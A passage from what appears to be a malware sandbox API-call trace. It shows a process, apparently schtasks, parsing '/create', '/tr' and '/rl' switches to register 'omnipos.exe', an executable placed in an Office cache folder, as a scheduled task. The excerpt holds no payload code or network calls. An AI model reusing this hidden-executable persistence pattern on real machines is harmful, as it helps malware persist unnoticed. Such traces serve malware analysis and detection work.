(lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0115.077] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.077] lstrlenW (lpString="?") returned 1 [0115.077] lstrlenW (lpString="?") returned 1 [0115.077] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.077] lstrlenW (lpString="tr") returned 2 [0115.077] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.077] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|?|") returned 3 [0115.077] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.077] lstrlenW (lpString="|?|") returned 3 [0115.077] lstrlenW (lpString="|tr|") returned 4 [0115.077] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.077] lstrlenW (lpString="s") returned 1 [0115.077] lstrlenW (lpString="s") returned 1 [0115.077] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.077] lstrlenW (lpString="tr") returned 2 [0115.077] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.078] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|s|") returned 3 [0115.078] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.078] lstrlenW (lpString="|s|") returned 3 [0115.078] lstrlenW (lpString="|tr|") returned 4 [0115.078] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.078] lstrlenW (lpString="u") returned 1 [0115.078] lstrlenW (lpString="u") returned 1 [0115.078] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.078] lstrlenW (lpString="tr") returned 2 [0115.078] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.078] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|u|") returned 3 [0115.078] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.078] lstrlenW (lpString="|u|") returned 3 [0115.078] lstrlenW (lpString="|tr|") returned 4 [0115.078] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.078] lstrlenW (lpString="p") returned 1 [0115.078] lstrlenW (lpString="p") returned 1 [0115.078] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.078] lstrlenW (lpString="tr") returned 2 [0115.078] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.078] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|p|") returned 3 [0115.078] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.078] lstrlenW (lpString="|p|") returned 3 [0115.078] lstrlenW (lpString="|tr|") returned 4 [0115.078] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.078] lstrlenW (lpString="ru") returned 2 [0115.078] lstrlenW (lpString="ru") returned 2 [0115.079] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.079] lstrlenW (lpString="tr") returned 2 [0115.079] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.079] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ru|") returned 4 [0115.079] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.079] lstrlenW (lpString="|ru|") returned 4 [0115.079] lstrlenW (lpString="|tr|") returned 4 [0115.079] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0115.079] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.079] lstrlenW (lpString="rp") returned 2 [0115.079] lstrlenW (lpString="rp") returned 2 [0115.079] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.079] lstrlenW (lpString="tr") returned 2 [0115.079] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.079] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rp|") returned 4 [0115.079] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.079] lstrlenW (lpString="|rp|") returned 4 [0115.079] lstrlenW (lpString="|tr|") returned 4 [0115.079] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0115.079] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.079] lstrlenW (lpString="sc") returned 2 [0115.079] lstrlenW (lpString="sc") returned 2 [0115.079] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.079] lstrlenW (lpString="tr") returned 2 [0115.079] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.079] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.080] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.080] lstrlenW (lpString="|sc|") returned 4 [0115.080] lstrlenW (lpString="|tr|") returned 4 [0115.080] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0115.080] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.080] lstrlenW (lpString="mo") returned 2 [0115.080] lstrlenW (lpString="mo") returned 2 [0115.080] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.080] lstrlenW (lpString="tr") returned 2 [0115.080] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.080] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|mo|") returned 4 [0115.080] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.080] lstrlenW (lpString="|mo|") returned 4 [0115.080] lstrlenW (lpString="|tr|") returned 4 [0115.080] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0115.080] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.080] lstrlenW (lpString="d") returned 1 [0115.080] lstrlenW (lpString="d") returned 1 [0115.080] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.080] lstrlenW (lpString="tr") returned 2 [0115.080] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.080] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|d|") returned 3 [0115.080] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.080] lstrlenW (lpString="|d|") returned 3 [0115.080] lstrlenW (lpString="|tr|") returned 4 [0115.080] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.080] lstrlenW (lpString="m") returned 1 [0115.081] lstrlenW (lpString="m") returned 1 [0115.081] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.081] lstrlenW (lpString="tr") returned 2 [0115.081] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.081] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|m|") returned 3 [0115.081] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.081] lstrlenW (lpString="|m|") returned 3 [0115.081] lstrlenW (lpString="|tr|") returned 4 [0115.081] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.081] lstrlenW (lpString="i") returned 1 [0115.081] lstrlenW (lpString="i") returned 1 [0115.081] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.081] lstrlenW (lpString="tr") returned 2 [0115.081] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.081] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|i|") returned 3 [0115.081] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.081] lstrlenW (lpString="|i|") returned 3 [0115.081] lstrlenW (lpString="|tr|") returned 4 [0115.081] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.081] lstrlenW (lpString="tn") returned 2 [0115.081] lstrlenW (lpString="tn") returned 2 [0115.081] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.081] lstrlenW (lpString="tr") returned 2 [0115.081] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.081] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tn|") returned 4 [0115.081] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.082] lstrlenW (lpString="|tn|") returned 4 [0115.082] lstrlenW (lpString="|tr|") returned 4 [0115.082] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0115.082] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.082] lstrlenW (lpString="tr") returned 2 [0115.082] lstrlenW (lpString="tr") returned 2 [0115.082] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.082] lstrlenW (lpString="tr") returned 2 [0115.082] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.082] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.082] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|tr|") returned 4 [0115.082] lstrlenW (lpString="|tr|") returned 4 [0115.082] lstrlenW (lpString="|tr|") returned 4 [0115.082] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0115.082] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.082] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.082] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.082] lstrlenW (lpString="-/") returned 2 [0115.082] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0115.082] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.082] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.082] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.082] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.082] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'" [0115.082] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.082] _memicmp (_Buf1=0x2946474ab70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.083] _memicmp (_Buf1=0x2946474aa90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.083] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.083] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.083] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.083] lstrlenW (lpString="'C") returned 2 [0115.083] lstrlenW (lpString="-/") returned 2 [0115.083] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0115.083] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.083] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.083] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.083] _memicmp (_Buf1=0x2946474ac70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.083] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.083] GetProcessHeap () returned 0x29464740000 [0115.083] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474a9d0) returned 1 [0115.083] GetProcessHeap () returned 0x29464740000 [0115.083] RtlReAllocateHeap (Heap=0x29464740000, Flags=0xc, Ptr=0x2946474a9d0, Size=0x9a) returned 0x29464743ba0 [0115.083] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.083] lstrlenW (lpString=" \x09") returned 2 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0115.083] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0115.084] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0115.084] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0115.085] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0115.086] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0115.086] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0115.086] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0115.086] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0115.086] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0115.086] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0115.086] GetLastError () returned 0x0 [0115.086] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.086] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0115.086] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.086] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.086] lstrlenW (lpString="/rl") returned 3 [0115.086] lstrlenW (lpString="-/") returned 2 [0115.086] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.086] lstrlenW (lpString="create") returned 6 [0115.086] lstrlenW (lpString="create") returned 6 [0115.086] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.086] lstrlenW (lpString="rl") returned 2 [0115.086] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.086] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|create|") returned 8 [0115.086] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.086] lstrlenW (lpString="|create|") returned 8 [0115.086] lstrlenW (lpString="|rl|") returned 4 [0115.086] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0115.086] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.086] lstrlenW (lpString="?") returned 1 [0115.086] lstrlenW (lpString="?") returned 1 [0115.086] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.086] lstrlenW (lpString="rl") returned 2 [0115.087] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.087] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|?|") returned 3 [0115.087] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.087] lstrlenW (lpString="|?|") returned 3 [0115.087] lstrlenW (lpString="|rl|") returned 4 [0115.087] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.087] lstrlenW (lpString="s") returned 1 [0115.087] lstrlenW (lpString="s") returned 1 [0115.087] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.087] lstrlenW (lpString="rl") returned 2 [0115.087] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.087] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|s|") returned 3 [0115.087] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.087] lstrlenW (lpString="|s|") returned 3 [0115.087] lstrlenW (lpString="|rl|") returned 4 [0115.087] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.087] lstrlenW (lpString="u") returned 1 [0115.087] lstrlenW (lpString="u") returned 1 [0115.087] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.087] lstrlenW (lpString="rl") returned 2 [0115.087] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.087] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|u|") returned 3 [0115.087] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.087] lstrlenW (lpString="|u|") returned 3 [0115.087] lstrlenW (lpString="|rl|") returned 4 [0115.087] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.087] lstrlenW (lpString="p") returned 1 [0115.087] lstrlenW (lpString="p") returned 1 [0115.088] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.088] lstrlenW (lpString="rl") returned 2 [0115.088] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.088] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|p|") returned 3 [0115.088] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.088] lstrlenW (lpString="|p|") returned 3 [0115.088] lstrlenW (lpString="|rl|") returned 4 [0115.088] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.088] lstrlenW (lpString="ru") returned 2 [0115.088] lstrlenW (lpString="ru") returned 2 [0115.088] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.088] lstrlenW (lpString="rl") returned 2 [0115.088] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.088] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|ru|") returned 4 [0115.088] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.088] lstrlenW (lpString="|ru|") returned 4 [0115.088] lstrlenW (lpString="|rl|") returned 4 [0115.088] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0115.088] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.088] lstrlenW (lpString="rp") returned 2 [0115.088] lstrlenW (lpString="rp") returned 2 [0115.088] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.088] lstrlenW (lpString="rl") returned 2 [0115.088] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.088] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rp|") returned 4 [0115.088] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.089] lstrlenW (lpString="|rp|") returned 4 [0115.089] lstrlenW (lpString="|rl|") returned 4 [0115.089] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0115.089] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.089] lstrlenW (lpString="sc") returned 2 [0115.089] lstrlenW (lpString="sc") returned 2 [0115.089] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.089] lstrlenW (lpString="rl") returned 2 [0115.089] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.089] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|sc|") returned 4 [0115.089] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.089] lstrlenW (lpString="|sc|") returned 4 [0115.089] lstrlenW (lpString="|rl|") returned 4 [0115.089] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0115.089] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.089] lstrlenW (lpString="mo") returned 2 [0115.089] lstrlenW (lpString="mo") returned 2 [0115.089] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.089] lstrlenW (lpString="rl") returned 2 [0115.089] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.089] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|mo|") returned 4 [0115.089] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32c708 | out: _Buffer="|rl|") returned 4 [0115.089] lstrlenW (lpString="|mo|") returned 4 [0115.089] lstrlenW (lpString="|rl|") returned 4 [0115.089] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0115.089] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.089] lstrlenW (lpString="d") returned 1 [0115.089] lstrlenW (lpString="d") returned 1 [0115.090] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.090] lstrlenW (lpString="rl") returned 2 [0115.090] _memicmp (_Buf1=0x2946474ab90, 